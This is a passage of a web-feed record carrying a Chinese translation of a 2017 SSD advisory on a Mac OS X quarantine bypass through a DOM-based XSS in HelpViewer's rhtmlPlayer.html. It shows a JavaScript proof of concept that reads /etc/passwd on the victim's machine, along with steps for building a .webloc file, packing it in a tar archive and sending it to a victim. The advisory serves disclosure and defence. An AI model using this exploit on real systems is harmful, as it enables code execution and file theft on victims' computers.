bar:n\u000033[33m$URL\u000033[0mn&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd60168873140-20\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0014 seconds] -->  <\/p>\n<p>\u4ee5\u4e0bJavascript\u4ee3\u7801\u53ef\u4ee5\u5728\u53d7\u5bb3\u8005\u673a\u5668\u4e0a\u663e\u793a\/ etc \/ passwd\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e3dedf2dd63727931003\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> BOF  xhr = new XMLHttpRequest();  xhr.open(&#8220;GET&#8221;, &#8220;\/etc\/passwd&#8221;, true);  xhr.onreadystatechange = function(){   if (xhr.readyState == 4) {    alert(xhr.responseText);   }  };  xhr.send();  EOF<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd63727931003-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd63727931003-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd63727931003-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd63727931003-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd63727931003-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd63727931003-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd63727931003-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd63727931003-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e3dedf2dd63727931003-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e3dedf2dd63727931003-10\">10<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd63727931003-1\"><span class=\"crayon-e\">BOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd63727931003-2\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">XMLHttpRequest<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd63727931003-3\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;GET&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/etc\/passwd&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd63727931003-4\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">onreadystatechange<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd63727931003-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">readyState<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd63727931003-6\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">alert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">responseText<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd63727931003-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd63727931003-8\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e3dedf2dd63727931003-9\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">send<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e3dedf2dd63727931003-10\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0009 seconds] -->  <\/p>\n<p>\u8bf7\u6ce8\u610f\uff0c\u53ea\u6709Safari\u624d\u80fd\u901a\u8fc7ajax\u6210\u529f\u52a0\u8f7d\u672c\u5730\u8d44\u6e90\uff08Chrome\u548cFirefox\u4e0d\u884c\uff09\u3002\u7136\u800c\u5728\u6f0f\u6d1e\u5229\u7528\u4e2d\uff0c\u8fd9\u4e0d\u662f\u95ee\u9898\uff0c\u56e0\u4e3a.webloc\u6587\u4ef6\u603b\u662f\u4f7f\u7528Safari\u6253\u5f00.<\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3481\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 15 Oct 2017 06:02:53 +0000<\/strong><\/p>\n<p>\u6f0f\u6d1e\u6982\u8981 Mac OS X\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u7ed5\u8fc7Apple\u7684\u9694\u79bb\u673a\u5236\uff0c\u4e0d\u53d7\u4efb\u4f55\u9650\u5236\u6267\u884c\u4efb\u610fJavaScript\u4ee3\u7801. \u6f0f\u6d1e\u63d0\u4ea4\u8005 \u6765\u81eaWeAreSegment\u7684\u5b89\u5168\u7814\u7a76\u8005Filippo Cavallarin\u5411Beyond Security\u7684SSD\u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e. \u5382\u5546\u54cd\u5e94 \u82f9\u679c\u516c\u53f8\u5df2\u4e8e2017\u5e746\u670827\u65e5\u6536\u5230\u4e86\u6211\u4eec\u7684\u62a5\u544a\uff0c\u5e76\u548c\u6211\u4eec\u8fdb\u884c\u4e86\u591a\u6b21\u6c9f\u901a\u3002\u82f9\u679c\u516c\u53f8\u901a\u77e5\u6211\u4eec\uff0c\u5728\u5373\u5c06\u53d1\u5e03\u7684High Sierra\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u4f1a\u4fee\u8865\u8fd9\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e4b\u540e\uff0c\u82f9\u679c\u516c\u53f8\u518d\u6ca1\u6709\u63d0\u4f9b\u4efb\u4f55\u5176\u4ed6\u4fe1\u606f \u2013 \u65e2\u6ca1\u6709\u94fe\u63a5\u516c\u544a\uff0c\u4e5f\u6ca1\u6709\u63d0\u4f9b\u5173\u4e8eCVE\u7f16\u53f7\u5206\u914d\u7684\u4efb\u4f55\u4fe1\u606f. \u6211\u4eec\u5df2\u7ecf\u9a8c\u8bc1\u5728Mac OS X High Sierra\u4e2d\u5df2\u4e0d\u5b58\u5728\u8be5\u6f0f\u6d1e\u3002\u5bf9\u4e8e\u8be5\u6f0f\u6d1e\u7684\u89e3\u51b3\u529e\u6cd5\u662f\u5347\u7ea7\u5230Mac OS X High Sierra\uff0c\u6216\u8005\u79fb\u9664rhtmlPlayer.html\u6587\u4ef6\u4fee\u590d\u8be5\u6f0f\u6d1e. \u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f \u82f9\u679c\u9694\u79bb\u673a\u5236\u7684\u8fd0\u884c\u539f\u7406\u662f\u5728\u4e0b\u8f7d\u7684\u6587\u4ef6\u4e0a\u8bbe\u7f6e\u4e00\u4e2a\u6269\u5c55\u5c5e\u6027(\u4ece\u5df2\u4e0b\u8f7d\u7684\u5f52\u6863\u6587\u6863\/\u56fe\u7247\u63d0\u53d6\u7684\u6587\u4ef6\u4e5f\u9002\u7528)\uff0c\u4ee5\u4fbf\u7cfb\u7edf\u5728\u53d7\u9650\u5236\u7684\u73af\u5883\u4e2d\u6253\u5f00\/\u6267\u884c\u8fd9\u4e9b\u6587\u4ef6. \u4f8b\u5982\uff0c\u4e00\u4e2a\u88ab\u9694\u79bb\u7684HTML\u6587\u4ef6\u4e0d\u80fd\u52a0\u8f7d\u672c\u5730\u8d44\u6e90. \u6b64\u6f0f\u6d1e\u5b58\u5728\u4e8e\u4e00\u4e2ahtml\u6587\u4ef6\uff08Mac OS X\u5185\u6838\u7684\u4e00\u90e8\u5206\uff09\u4e2d\uff0c\u5bb9\u6613\u53d7\u5230\u57fa\u4e8eDOM\u7684XSS\u653b\u51fb\uff0c\u5141\u8bb8\u5728\u5176\uff08\u65e0\u9650\u5236\uff09\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u4efb\u610fJavaScript\u547d\u4ee4. \u4e0a\u8ff0\u6587\u4ef6\u7684\u5177\u4f53\u8def\u5f84\u4e3a\uff1a\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html \u6587\u4ef6\u5305\u542b\u5982\u4e0b\u4ee3\u7801: [crayon-59e3ded896bb2180670324\/] \u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u6bb5\u4ee3\u7801\u4ece\u201crhtml\u201d\u67e5\u8be2\u5b57\u7b26\u4e32\u53c2\u6570\u4e2d\u63d0\u53d6URL\u5730\u5740\uff0c\u5411\u8be5URL\u53d1\u51fa\u8bf7\u6c42\uff0c\u5e76\u5c06\u54cd\u5e94\u6570\u636e\u4f5c\u4e3aJavaScript\u4ee3\u7801\u52a0\u4ee5\u6267\u884c. \u4e0b\u9762\u7684\u4ee3\u7801\u5305\u542b\u4e24\u6bb5\u4e0d\u540c\u7684\u57fa\u4e8eDOM\u7684XSS\u7684\u4ee3\u7801\u3002\u7b2c\u4e00\u4e2a\u662f\u5728loadLocStrings()\u51fd\u6570\u4e2d\u521b\u5efa\u4e00\u4e2aSCRIPT\u5143\u7d20\uff0c\u5e76\u4f7f\u7528\u201crhtml\u201d\u53c2\u6570\u4f5c\u4e3a\u5176\u201csrc\u201d\u5c5e\u6027\u3002\u7b2c\u4e8c\u4e2a\u662f\u5728init()\u51fd\u6570\u4e2d\u4f7f\u7528\u201crhtml\u201d\u53c2\u6570\u8fdb\u884cajax\u8c03\u7528\uff0c\u7136\u540e\u5c06\u54cd\u5e94\u76f4\u63a5\u4f20\u9012\u7ed9eval()\u3002\u8fd9\u6837\u505a\u7684\u7ed3\u679c\u662f\u540c\u6837\u7684\u8f7d\u8377\u88ab\u6267\u884c\u4e24\u6b21. \u653b\u51fb\u8005\u901a\u8fc7\u63d0\u4f9b\u4e00\u4e2auri\uff0c\u5c31\u53ef\u4ee5\u63a7\u5236\u54cd\u5e94\u6570\u636e\uff0c\u8fdb\u800c\u83b7\u5f97\u4ee3\u7801\u6267\u884c. \u901a\u8fc7\u4f7f\u7528.webloc\u6587\u4ef6\u662f\u4e00\u79cd\u53ef\u80fd\u7684\u6f0f\u6d1e\u5229\u7528\u65b9\u5f0f\u3002\u57fa\u672c\u4e0a\u8fd9\u4e9b\u6587\u4ef6\u90fd\u5305\u542b\u4e00\u4e2aURL\uff0c\u4ed6\u4eec\u53ea\u9700\u5728Safari\u4e2d\u52a0\u8f7d\u5373\u53ef\u3002\u901a\u8fc7\u6784\u9020\u4e00\u4e2a.webloc\u6587\u4ef6\uff0c\u5e76\u8bf1\u5bfc\u53d7\u5bb3\u8005\u6253\u5f00\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u5728\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u4e0a\u4ee5\u9ad8\u6743\u9650\u6267\u884cJavaScript\u547d\u4ee4. \u7531\u4e8e.webloc\u6587\u4ef6\u540c\u6837\u4f7f\u7528\u6269\u5c55\u5c5e\u6027\u6765\u5b58\u50a8\u6570\u636e\uff0c\u56e0\u6b64\u653b\u51fb\u8005\u5fc5\u987b\u5c06\u6587\u4ef6\u6253\u5305\u653e\u5728tar\u6587\u4ef6\u4e2d\uff08\u6216\u5176\u4ed6\u4efb\u4f55\u652f\u6301\u6269\u5c55\u5c5e\u6027\u7684\u6587\u4ef6\u683c\u5f0f\uff09\u4e2d. \u6f0f\u6d1e\u8bc1\u660e \u901a\u8fc7\u4ee5\u4e0b\u6b65\u9aa4\u590d\u73b0\u6f0f\u6d1e \u521b\u5efa\u4e00\u4e2a\u4f60\u60f3\u8981\u8981\u5728\u76ee\u6807\u4e0a\u6267\u884c\u7684JavaScript\u6587\u4ef6 \u4f7f\u7528base64\u5bf9\u6587\u4ef6\u5185\u5bb9\u7f16\u7801 \u5c06\u5176\u7f16\u7801\u4e3a\u201curi\u7ec4\u4ef6\u201d\uff08\u6bd4\u5982\uff0c\u4f7f\u7528js\u7684encodeURIComponent\u51fd\u6570\u5b8c\u6210\u8fd9\u4e2a\u4efb\u52a1\uff09 \u4f7f\u7528\u5b83\u6765\u6784\u9020\u5982\u4e0b\u5f62\u5f0f\u7684uri\uff1adata:text \/ plain; base64, \u5728\u5f00\u5934\u6dfb\u52a0\u5982\u4e0b\u5b57\u7b26\u4e32\uff1afile:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml = \u4f7f\u7528Safari\u6253\u5f00\u5b83 \u5c06\u5176\u53e6\u5b58\u4e3a\u4e66\u7b7e \u5c06\u8be5\u4e66\u7b7e\u62d6\u653e\u5230Finder\u4e2d\uff08\u6b64\u65f6\u4f1a\u521b\u5efa\u4e00\u4e2a.webloc\u6587\u4ef6\uff0c\u5982\u679c\u6269\u5c55\u540d\u4e0d\u662f.webloc\uff0c\u91cd\u547d\u540d\u4e3a.webloc\uff09 \u521b\u5efa\u4e00\u4e2a\u5305\u542b.webloc\u6587\u4ef6\u7684tar\u5f52\u6863\u6587\u4ef6 \u5c06\u5f52\u6863\u6587\u4ef6\u53d1\u9001\u7ed9\u53d7\u5bb3\u8005 \u8bf7\u6ce8\u610f\uff0c\u53d7\u9650\u4e8erhtmlPlayer.html\u7684\u5904\u7406\u6d41\u7a0b\uff0c\u4e3a\u4e86\u8bbf\u95ee\u672c\u5730\u8d44\u6e90\uff0cJavaScript\u4ee3\u7801\u7684\u7b2c\u4e00\u884c\u5fc5\u987b\u662f: [crayon-59e3ded896bbb626384155\/] \u4ee5\u4e0bbash\u811a\u672c\u4f1a\u5c06JavaScript\u6587\u4ef6\u8f6c\u6362\u4e3a\u6700\u7ec8\u7684\u201c\u6587\u4ef6\u201dURL\uff1a &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3481\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD\u5b89\u5168\u516c\u544a \u2013 Mac OS X 10.12\u9694\u79bb\u673a\u5236\u7ed5\u8fc7\u6f0f\u6d1e<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[15774,15244,10757],"class_list":["post-9884","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-chinese-translation","tag-sandbox-escape","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=9884"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/9884\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=9884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=9884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=9884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}